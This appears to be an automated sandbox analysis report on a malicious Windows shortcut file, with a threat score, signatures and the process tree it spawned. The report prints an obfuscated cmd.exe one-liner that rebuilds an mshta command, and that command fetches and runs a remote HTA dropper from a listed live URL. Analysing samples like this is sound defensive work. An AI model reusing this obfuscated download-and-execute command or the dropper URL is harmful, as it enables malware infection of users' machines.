Analysis

  • max time kernel
    58s
  • max time network
    55s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/08/2026, 16:46

General

  • Target
    DOC-BM9VN1.lnk
  • Size 2KB
  • Sample260817-t98rnsem6s
  • SHA256 e008bde9b903ac091bd8cfb51d7eaa99cdbcfcd8c474968048e30b5bb8cba6c8
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-BM9VN1.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1652
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d/v:on/C"set BUYSa=dbgdaeabmevxjcrzuuttxmedbg&&set BLO=sysvvridpcjuwolsys&&set fzA=hsvq&&set hQo=xc2tayb&&set jg=irtlac&&set POBwm=logzwycwsaibsqoatlog&&set lTJox=1mjmk&&set Vq=rsh8sl&&set ZH=nctaho&&set kt=datjtvhtnqdlsdat&&set ZZwqY=syssahasoogjmhdsjsys&&set wUtv=cacheriptcache&&set ZpJH=winxbouwin&&set eEGc=ht@tps:@//ma-@pdf@fil@[email protected]@/h/@es@[email protected]@hp@?r@=3914@69F@B@5@D82DB&&start /b !lTJox:~3,1!!Vq:~1,2!!ZH:~2,2! !eEGc:@=!"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3424
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:4284

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads